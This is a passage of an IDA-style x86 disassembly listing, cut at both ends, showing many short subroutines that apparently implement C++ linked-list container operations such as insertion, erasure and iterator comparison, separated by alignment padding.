ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_415040: ; CODE XREF: sub_414E10+82j ; sub_414E10+10Dj ... mov ecx, [esp+58h+var_C] pop edi pop esi xor al, al mov large fs:0, ecx pop ebx add esp, 4Ch retn 4 sub_414E10 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415100 proc near ; CODE XREF: sub_40132Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401ED8 sub_415100 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415140 proc near ; CODE XREF: sub_401726j arg_0 = dword ptr 4 sub esp, 8 push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx push 0 push 0 mov al, [edi] mov [esi], al call sub_401ED8 sub_415140 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esi+4], eax push ecx mov ecx, edi mov dword ptr [esi+8], 0 call sub_4016D6 mov edx, [eax] lea eax, [esp+8] push edx push eax mov ecx, edi call sub_40113B mov ecx, [eax] lea edx, [esp+10h] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] mov ecx, esi push eax call sub_401735 mov eax, esi pop edi pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4151C0 proc near ; CODE XREF: sub_401582j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401D9D mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40146F mov edx, [esi+4] mov ecx, esi push edx call sub_401CE9 sub_4151C0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415230 proc near ; CODE XREF: sub_4012E9j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401DBB mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415230 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415270 proc near ; CODE XREF: sub_401D9Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401DBB mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415270 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4152A0 proc near ; CODE XREF: sub_401488j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401D9D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40217B sub_4152A0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152E0 proc near ; CODE XREF: sub_401258j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_401D9D mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401D70 test al, al jz short loc_41536D push edi mov edi, [esp+14h+arg_0] loc_41531F: ; CODE XREF: sub_4152E0+8Aj lea ecx, [esp+14h+var_C] call sub_401FC3 mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415351 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_401578 mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_401FCD ; --------------------------------------------------------------------------- jmp short loc_41535A ; --------------------------------------------------------------------------- loc_415351: ; CODE XREF: sub_4152E0+4Ej lea ecx, [esp+14h+var_C] call sub_4020C2 loc_41535A: ; CODE XREF: sub_4152E0+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401D70 test al, al jnz short loc_41531F pop edi loc_41536D: ; CODE XREF: sub_4152E0+38j pop esi add esp, 0Ch retn 4 sub_4152E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153B0 proc near ; CODE XREF: sub_401E38j push esi mov esi, ecx call sub_401ED3 mov eax, esi pop esi retn sub_4153B0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153D0 proc near ; CODE XREF: sub_401FC3j mov eax, [ecx] push eax call sub_401F19 add esp, 4 retn sub_4153D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153F0 proc near ; CODE XREF: sub_4020C2j push esi mov esi, ecx mov eax, [esi] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_4153F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415420 proc near ; CODE XREF: sub_401D70j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015D7 neg al sbb eax, eax inc eax retn 4 sub_415420 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415450 proc near ; CODE XREF: sub_401F23j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401C8F sub_415450 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415490 proc near ; CODE XREF: sub_4011B8j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F mov edx, [esi+4] mov ecx, esi push edx call sub_401E33 sub_415490 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415500 proc near ; CODE XREF: sub_401992j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401249 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401CDA mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415500 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415540 proc near ; CODE XREF: sub_402257j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401CDA mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415540 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415570 proc near ; CODE XREF: sub_401F0Fj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_402257 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401AAA sub_415570 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4155B0 proc near ; CODE XREF: sub_401933j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F pop esi add esp, 0Ch retn sub_4155B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415600 proc near ; CODE XREF: sub_401154j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401AEB test al, al jz short loc_41568D push edi mov edi, [esp+14h+arg_0] loc_41563F: ; CODE XREF: sub_415600+8Aj lea ecx, [esp+14h+var_C] call sub_4011D1 mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415671 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_4010DC mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_4017E9 ; --------------------------------------------------------------------------- jmp short loc_41567A ; --------------------------------------------------------------------------- loc_415671: ; CODE XREF: sub_415600+4Ej lea ecx, [esp+14h+var_C] call sub_4018C5 loc_41567A: ; CODE XREF: sub_415600+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401AEB test al, al jnz short loc_41563F pop edi loc_41568D: ; CODE XREF: sub_415600+38j pop esi add esp, 0Ch retn 4 sub_415600 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4156D0 proc near ; CODE XREF: sub_401037j push esi mov esi, ecx call sub_401E97 mov eax, esi pop esi retn sub_4156D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4156F0 proc near ; CODE XREF: sub_4011D1j mov eax, [ecx] push eax call sub_402144 add esp, 4 retn sub_4156F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415710 proc near ; CODE XREF: sub_4018C5j push esi mov esi, ecx mov eax, [esi] push eax call sub_401249 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415710 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415740 proc near ; CODE XREF: sub_401AEBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401EC4 neg al sbb eax, eax inc eax retn 4 sub_415740 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415770 proc near ; CODE XREF: sub_401852j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401DB6 sub_415770 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4157B0 proc near ; CODE XREF: sub_4014BFj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40140B mov edx, [esi+4] mov ecx, esi push edx call sub_401F14 sub_4157B0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415820 proc near ; CODE XREF: sub_401901j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401BCC mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D7A mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415820 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415860 proc near ; CODE XREF: sub_40114Aj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D7A mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415860 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415890 proc near ; CODE XREF: sub_401410j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40114A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401D11 sub_415890 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4158D0 proc near ; CODE XREF: sub_401C76j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40140B pop esi add esp, 0Ch retn sub_4158D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415920 proc near ; CODE XREF: sub_40214Ej var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401339 test al, al jz short loc_4159AD push edi mov edi, [esp+14h+arg_0] loc_41595F: ; CODE XREF: sub_415920+8Aj lea ecx, [esp+14h+var_C] call sub_40135C mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415991 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_401EBF mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- jmp short loc_41599A ; --------------------------------------------------------------------------- loc_415991: ; CODE XREF: sub_415920+4Ej lea ecx, [esp+14h+var_C] call sub_40118B loc_41599A: ; CODE XREF: sub_415920+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401339 test al, al jnz short loc_41595F pop edi loc_4159AD: ; CODE XREF: sub_415920+38j pop esi add esp, 0Ch retn 4 sub_415920 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4159F0 proc near ; CODE XREF: sub_402275j push esi mov esi, ecx call sub_401E42 mov eax, esi pop esi retn sub_4159F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A10 proc near ; CODE XREF: sub_40135Cj mov eax, [ecx] push eax call sub_4017E4 add esp, 4 retn sub_415A10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A30 proc near ; CODE XREF: sub_40118Bj push esi mov esi, ecx mov eax, [esi] push eax call sub_401BCC mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415A30 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A60 proc near ; CODE XREF: sub_401339j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401456 neg al sbb eax, eax inc eax retn 4 sub_415A60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A90 proc near ; CODE XREF: sub_40113Bj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_40175D mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415A90 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415AD0 proc near ; CODE XREF: sub_4016D6j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_40175D mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415AD0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415B00 proc near ; CODE XREF: sub_40217Bj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C62 mov edi, eax push edi call sub_401104 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401ED8 sub_415B00 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401104 push edi mov [eax], ebx call sub_401104 mov edi, [eax] push edi call sub_401104 mov ecx, [eax] push ecx call sub_4020A9 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401F19 add esp, 4 mov ecx, esi push eax call sub_4021B7 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401DBB mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415BA0 proc near ; CODE XREF: sub_401735j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, ecx lea eax, [esp+4+arg_8] lea ecx, [esp+4+arg_4] push eax call sub_401CBC test al, al jz short loc_415BED push edi mov edi, [esp+8+arg_0] loc_415BBA: ; CODE XREF: sub_415BA0+4Aj lea ecx, [esp+8+arg_4] call sub_401A5F push eax lea ecx, [esp+0Ch+arg_0] push edi push ecx mov ecx, esi call sub_40217B ; --------------------------------------------------------------------------- lea ecx, [esp+8+arg_4] call sub_40210D lea edx, [esp+8+arg_8] lea ecx, [esp+8+arg_4] push edx call sub_401CBC test al, al jnz short loc_415BBA pop edi loc_415BED: ; CODE XREF: sub_415BA0+13j pop esi retn 0Ch sub_415BA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415C20 proc near ; CODE XREF: sub_401FCDj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401578 mov ecx, eax call sub_401C62 mov esi, eax push esi call sub_4020A9 push esi mov ebx, eax call sub_401104 mov ecx, [eax] push ecx call sub_4020A9 mov edx, [ebx] push esi mov [eax], edx call sub_401104 push esi mov ebx, eax call sub_4020A9 mov eax, [eax] push eax call sub_401104 mov ecx, [ebx] push esi mov [eax], ecx call sub_401F19 add esp, 1Ch mov ecx, edi push eax call sub_401500 push esi mov ecx, edi call sub_401CE9 sub_415C20 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415CE0 proc near ; CODE XREF: sub_40146Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401D70 test al, al jz short loc_415D3A loc_415CF8: ; CODE XREF: sub_415CE0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401578 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401FCD ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401D70 test al, al jnz short loc_415CF8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_415D3A: ; CODE XREF: sub_415CE0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_415CE0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415D70 proc near ; CODE XREF: sub_401ED8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4020F4 sub_415D70 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_415D85 mov edi, esi loc_415D85: ; CODE XREF: ___:00415D81j push esi call sub_4020A9 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_415D9A mov edi, esi loc_415D9A: ; CODE XREF: ___:00415D96j push esi call sub_401104 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415DC0 proc near ; CODE XREF: sub_401CE9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401E1A sub_415DC0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415DE0 proc near ; CODE XREF: sub_4020A9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_415DE0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E00 proc near ; CODE XREF: sub_401F19j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_415E00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E20 proc near ; CODE XREF: sub_401ED3j mov eax, ecx retn sub_415E20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E40 proc near ; CODE XREF: sub_401DBBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40175D mov eax, esi pop esi retn 4 sub_415E40 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E70 proc near ; CODE XREF: sub_401578j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4020C2 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_415E70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415EA0 proc near ; CODE XREF: sub_4015D7j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_415EA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415ED0 proc near ; CODE XREF: sub_401AAAj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401F8C mov edi, eax push edi call sub_401163 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401C8F sub_415ED0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401163 push edi mov [eax], ebx call sub_401163 mov edi, [eax] push edi call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_402144 add esp, 4 mov ecx, esi push eax call sub_4015F0 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401CDA mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415F70 proc near ; CODE XREF: sub_4017E9j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4010DC mov ecx, eax call sub_401F8C mov esi, eax push esi call sub_401249 push esi mov ebx, eax call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [ebx] push esi mov [eax], edx call sub_401163 push esi mov ebx, eax call sub_401249 mov eax, [eax] push eax call sub_401163 mov ecx, [ebx] push esi mov [eax], ecx call sub_402144 add esp, 1Ch mov ecx, edi push eax call sub_401D61 push esi mov ecx, edi call sub_401E33 sub_415F70 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416030 proc near ; CODE XREF: sub_40132Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401AEB test al, al jz short loc_41608A loc_416048: ; CODE XREF: sub_416030+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4010DC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4017E9 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401AEB test al, al jnz short loc_416048 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_41608A: ; CODE XREF: sub_416030+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416030 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4160C0 proc near ; CODE XREF: sub_401C8Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4015AF sub_4160C0 endp ; --------------------------------------------------------------------------- mov 